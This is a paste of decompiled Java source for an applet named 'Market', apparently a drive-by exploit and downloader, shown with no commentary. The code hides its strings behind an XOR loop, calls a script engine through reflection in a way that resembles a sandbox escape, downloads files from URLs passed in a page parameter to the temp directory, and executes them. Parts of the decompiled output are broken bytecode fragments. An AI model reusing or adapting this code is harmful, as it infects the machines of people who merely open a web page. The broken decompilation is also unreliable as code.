Advertisement
Guest User

Untitled

a guest
Dec 15th, 2011
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 10.32 KB | None | 0 0
  1. // Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
  2. // Jad home page: http://www.kpdus.com/jad.html
  3. // Decompiler options: packimports(3)
  4. // Source File Name:   Market.java
  5.  
  6. import java.applet.Applet;
  7. import java.io.*;
  8. import java.lang.reflect.Method;
  9. import java.net.URL;
  10. import javax.script.*;
  11. import javax.swing.JList;
  12.  
  13. public class Market extends Applet
  14. {
  15.  
  16.     public Market()
  17.     {
  18.     }
  19.  
  20.     private static final native void boo();
  21.  
  22.     public void init()
  23.     {
  24.         try
  25.         {
  26.             c = z[5];
  27.             String s = z[2];
  28.             ScriptEngine scriptengine = (new ScriptEngineManager()).getEngineByName(z[7]);
  29.             b = z[6];
  30.             javax/script/ScriptEngine.getMethod(z[8], new Class[] {
  31.                 java/lang/String
  32.             }).invoke(scriptengine, new Object[] {
  33.                 z[4]
  34.             });
  35.             Invocable invocable = (Invocable)scriptengine;
  36.             d = z[1];
  37.             try
  38.             {
  39.                 Object obj = invocable.invokeFunction(z[3], new Object[] {
  40.                     this
  41.                 });
  42.                 Object aobj[] = {
  43.                     obj
  44.                 };
  45.                 JList jlist = new JList(aobj);
  46.                 add(jlist);
  47.             }
  48.             catch(Exception exception1) { }
  49.         }
  50.         catch(Exception exception) { }
  51.     }
  52.  
  53.     public String toString()
  54.     {
  55.         String s;
  56.         int j;
  57.         j = g;
  58.         s = "";
  59.         String as[];
  60.         int i;
  61.         as = a(d, b, getParameter("p")).split(z[9]);
  62.         String s1 = "";
  63.         i = 0;
  64.         if(j == 0) goto _L2; else goto _L1
  65. _L1:
  66.         s = s.concat(b(as[i]));
  67. _L5:
  68.         i++;
  69. _L2:
  70.         if(i < as.length) goto _L1; else goto _L3
  71. _L3:
  72.         if(j != 0) goto _L5; else goto _L4
  73. _L4:
  74.         break MISSING_BLOCK_LABEL_77;
  75.         Exception exception;
  76.         exception;
  77.         return s;
  78.     }
  79.  
  80.     public String b(String s)
  81.     {
  82.         try
  83.         {
  84.             String s1 = b();
  85.             f = new URL(s);
  86.             s1 = s1.concat(String.valueOf(a()));
  87.             s1 = s1.concat(z[0]);
  88.             InputStream inputstream = f.openStream();
  89.             a = new FileOutputStream(s1);
  90.             byte abyte0[] = new byte[4096];
  91.             int i;
  92.             while((i = inputstream.read(abyte0, 0, abyte0.length)) != -1)
  93.                 a(abyte0, i);
  94.             inputstream.close();
  95.             a.close();
  96.             try
  97.             {
  98.                 a(s1);
  99.             }
  100.             catch(Exception exception1) { }
  101.             try
  102.             {
  103.                 a(c.concat(s1.concat("\"")));
  104.             }
  105.             catch(Exception exception2) { }
  106.         }
  107.         catch(Exception exception) { }
  108.         return "";
  109.     }
  110.  
  111.     public static void a(String s)
  112.         throws Exception
  113.     {
  114. label0:
  115.         {
  116.             int i = g;
  117.             try
  118.             {
  119.                 Class.forName(z[15]).getMethod(z[16], new Class[] {
  120.                     java/lang/String
  121.                 }).invoke(Class.forName(z[15]).getMethod(z[14], new Class[0]).invoke(Class.forName(z[15]), new Object[0]), new Object[] {
  122.                     s
  123.                 });
  124.                 if(e)
  125.                     g = ++i;
  126.                 break label0;
  127.             }
  128.             catch(Exception _ex) { }
  129.         }
  130.     }
  131.  
  132.     public static double a()
  133.         throws Exception
  134.     {
  135.         return ((Double)java/lang/Math.getMethod(z[10], new Class[0]).invoke(java/lang/Math, new Object[0])).doubleValue();
  136.     }
  137.  
  138.     public static String b()
  139.         throws Exception
  140.     {
  141.         String s = "";
  142.         return (String)java/lang/System.getMethod(z[12], new Class[] {
  143.             java/lang/String
  144.         }).invoke(java/lang/System, new Object[] {
  145.             z[11]
  146.         });
  147.     }
  148.  
  149.     public static void a(byte abyte0[], int i)
  150.         throws Exception
  151.     {
  152.         int j = g;
  153.         java/io/FileOutputStream.getMethod(z[13], new Class[] {
  154.             [B, Integer.TYPE, Integer.TYPE
  155.         }).invoke(a, new Object[] {
  156.             abyte0, Integer.valueOf(0), Integer.valueOf(i)
  157.         });
  158.         if(j == 0)
  159.             break MISSING_BLOCK_LABEL_88;
  160.         e;
  161.         JVM INSTR ifeq 84;
  162.            goto _L1 _L2
  163. _L1:
  164.         break MISSING_BLOCK_LABEL_79;
  165. _L2:
  166.         break MISSING_BLOCK_LABEL_84;
  167.         throw ;
  168.         e = false;
  169.         break MISSING_BLOCK_LABEL_88;
  170.         throw ;
  171.         e = true;
  172.     }
  173.  
  174.     public String a(String s, String s1, String s2)
  175.     {
  176.         String s3;
  177.         int j;
  178.         int k;
  179.         k = g;
  180.         s3 = "";
  181.         boolean flag = false;
  182.         j = 0;
  183.         if(k == 0) goto _L2; else goto _L1
  184. _L1:
  185.         s;
  186. _L9:
  187.         s2.charAt(j);
  188.         if(k != 0) goto _L4; else goto _L3
  189. _L3:
  190.         indexOf();
  191.         JVM INSTR dup ;
  192.         int i;
  193.         i;
  194.         JVM INSTR iflt 57;
  195.            goto _L5 _L6
  196. _L5:
  197.         break MISSING_BLOCK_LABEL_41;
  198. _L6:
  199.         continue; /* Loop/switch isn't completed */
  200.         s3;
  201.         s1.charAt(i);
  202. _L4:
  203.         String.valueOf();
  204.         concat();
  205.         s3;
  206.         j++;
  207. _L2:
  208.         if(j < s2.length()) goto _L1; else goto _L7
  209. _L7:
  210.         s3;
  211.         if(k != 0) goto _L9; else goto _L8
  212. _L8:
  213.         return;
  214.     }
  215.  
  216.     static String b;
  217.     public static FileOutputStream a;
  218.     static String d;
  219.     static String c;
  220.     URL f;
  221.     public static boolean e;
  222.     public static int g;
  223.     private static final String z[];
  224.  
  225.     static
  226.     {
  227.         String as[] = new String[17];
  228.         as;
  229.         as;
  230.         0;
  231.         "-Z\0367";
  232.         -1;
  233.           goto _L1
  234. _L7:
  235.         JVM INSTR aastore ;
  236.         JVM INSTR dup ;
  237.         true;
  238.         "gp$3m \031I:UQG\bh\0011{RbnJk#\034@DJ\025(b0F\0207oo|*\031gs\022\000\037\016EnY8XIXCeaww\024ch`h^\001\nB\n\013;F-T";
  239.         false;
  240.           goto _L1
  241. _L8:
  242.         JVM INSTR aastore ;
  243.         JVM INSTR dup ;
  244.         2;
  245.         "pI\002$";
  246.         true;
  247.           goto _L1
  248. _L9:
  249.         JVM INSTR aastore ;
  250.         JVM INSTR dup ;
  251.         3;
  252.         "wP5&EjQ\001";
  253.         2;
  254.           goto _L1
  255. _L10:
  256.         JVM INSTR aastore ;
  257.         JVM INSTR dup ;
  258.         4;
  259.         "eJ\b1CjP\brCll\022 ^mXN!Cq\026\035;\n3\004\022:^p\021\022=dwM\017<P#\002F4Bm\\\022;Xm\027O)^e\027\017n\n3\026\035&EzD\f3Ab\021\n3Yd\0215+DwZ\013|DfK57TvM\017&NN^\b3PfMN<BoSOiDwMH&XPK\024;Yd\027OiJ`^\0221_+ZO)J~\004\017y\0348M\003&BqQFu\0208B]7\027>\037\b7@#z\024 Xq\027OiR-R\003!DbX\003r\n#K\016;D8M\003&BqQF7\f~";
  260.         3;
  261.           goto _L1
  262. _L11:
  263.         JVM INSTR aastore ;
  264.         JVM INSTR dup ;
  265.         5;
  266.         "qZ\001!Aq\fTr\032p\037D";
  267.         4;
  268.           goto _L1
  269. _L12:
  270.         JVM INSTR aastore ;
  271.         JVM INSTR dup ;
  272.         6;
  273.         "2w^\177mZp_'cDvC\026RqU\036\007@r`\001\024^%i\022!Z1S\016<A9t(\005\031F\000\r\"\002ln$\030\000`\020U3QymV\n{>~E\001\001g\013%\002zaF";
  274.         5;
  275.           goto _L1
  276. _L13:
  277.         JVM INSTR aastore ;
  278.         JVM INSTR dup ;
  279.         7;
  280.         "iL";
  281.         6;
  282.           goto _L1
  283. _L14:
  284.         JVM INSTR aastore ;
  285.         JVM INSTR dup ;
  286.         8;
  287.         "fI\007>";
  288.         7;
  289.           goto _L1
  290. _L15:
  291.         JVM INSTR aastore ;
  292.         JVM INSTR dup ;
  293.         9;
  294.         "9\005";
  295.         8;
  296.           goto _L1
  297. _L16:
  298.         JVM INSTR aastore ;
  299.         JVM INSTR dup ;
  300.         10;
  301.         "q^\b6Xn";
  302.         9;
  303.           goto _L1
  304. _L17:
  305.         JVM INSTR aastore ;
  306.         JVM INSTR dup ;
  307.         11;
  308.         "i^\0203\031jPH&Zs[\017 ";
  309.         10;
  310.           goto _L1
  311. _L18:
  312.         JVM INSTR aastore ;
  313.         JVM INSTR dup ;
  314.         12;
  315.         "dZ\022\002ElO\003 Cz";
  316.         11;
  317.           goto _L1
  318. _L19:
  319.         JVM INSTR aastore ;
  320.         JVM INSTR dup ;
  321.         13;
  322.         "tM\017&R";
  323.         12;
  324.           goto _L1
  325. _L20:
  326.         JVM INSTR aastore ;
  327.         JVM INSTR dup ;
  328.         14;
  329.         "dZ\022\000BmK\017?R";
  330.         13;
  331.           goto _L1
  332. _L21:
  333.         JVM INSTR aastore ;
  334.         JVM INSTR dup ;
  335.         15;
  336.         "i^\0203\031o^\b5\031QJ\b&^nZ";
  337.         14;
  338.           goto _L1
  339. _L22:
  340.         JVM INSTR aastore ;
  341.         JVM INSTR dup ;
  342.         16;
  343.         "fG\0031";
  344.         15;
  345.           goto _L1
  346. _L23:
  347.         JVM INSTR aastore ;
  348.         z;
  349. _L1:
  350.         JVM INSTR swap ;
  351.         toCharArray();
  352.         JVM INSTR dup ;
  353.         JVM INSTR arraylength .length;
  354.         JVM INSTR swap ;
  355.         int i = 0;
  356.         JVM INSTR swap ;
  357.         JVM INSTR dup_x1 ;
  358.         1;
  359.         JVM INSTR icmpgt 277;
  360.            goto _L2 _L3
  361. _L2:
  362.         JVM INSTR dup ;
  363.         i;
  364. _L5:
  365.         JVM INSTR dup2 ;
  366.         JVM INSTR caload ;
  367.         byte byte0;
  368.         switch(i % 5)
  369.         {
  370.         case 0: // '\0'
  371.             byte0 = 3;
  372.             break;
  373.  
  374.         case 1: // '\001'
  375.             byte0 = 63;
  376.             break;
  377.  
  378.         case 2: // '\002'
  379.             byte0 = 102;
  380.             break;
  381.  
  382.         case 3: // '\003'
  383.             byte0 = 82;
  384.             break;
  385.  
  386.         default:
  387.             byte0 = 55;
  388.             break;
  389.         }
  390.         byte0;
  391.         JVM INSTR ixor ;
  392.         (char);
  393.         JVM INSTR castore ;
  394.         i++;
  395.         JVM INSTR swap ;
  396.         JVM INSTR dup_x1 ;
  397.         JVM INSTR ifne 277;
  398.            goto _L4 _L3
  399. _L4:
  400.         JVM INSTR dup2 ;
  401.         JVM INSTR swap ;
  402.           goto _L5
  403. _L3:
  404.         JVM INSTR swap ;
  405.         JVM INSTR dup_x1 ;
  406.         i;
  407.         JVM INSTR icmpgt 201;
  408.            goto _L6 _L2
  409. _L6:
  410.         JVM INSTR new #46  <Class String>;
  411.         JVM INSTR dup_x1 ;
  412.         JVM INSTR swap ;
  413.         String();
  414.         intern();
  415.         JVM INSTR swap ;
  416.         JVM INSTR pop ;
  417.         JVM INSTR swap ;
  418.         JVM INSTR tableswitch 0 15: default 14
  419.     //                   0 23
  420.     //                   1 32
  421.     //                   2 41
  422.     //                   3 50
  423.     //                   4 59
  424.     //                   5 69
  425.     //                   6 80
  426.     //                   7 91
  427.     //                   8 102
  428.     //                   9 113
  429.     //                   10 124
  430.     //                   11 135
  431.     //                   12 146
  432.     //                   13 157
  433.     //                   14 168
  434.     //                   15 179;
  435.            goto _L7 _L8 _L9 _L10 _L11 _L12 _L13 _L14 _L15 _L16 _L17 _L18 _L19 _L20 _L21 _L22 _L23
  436.     }
  437. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement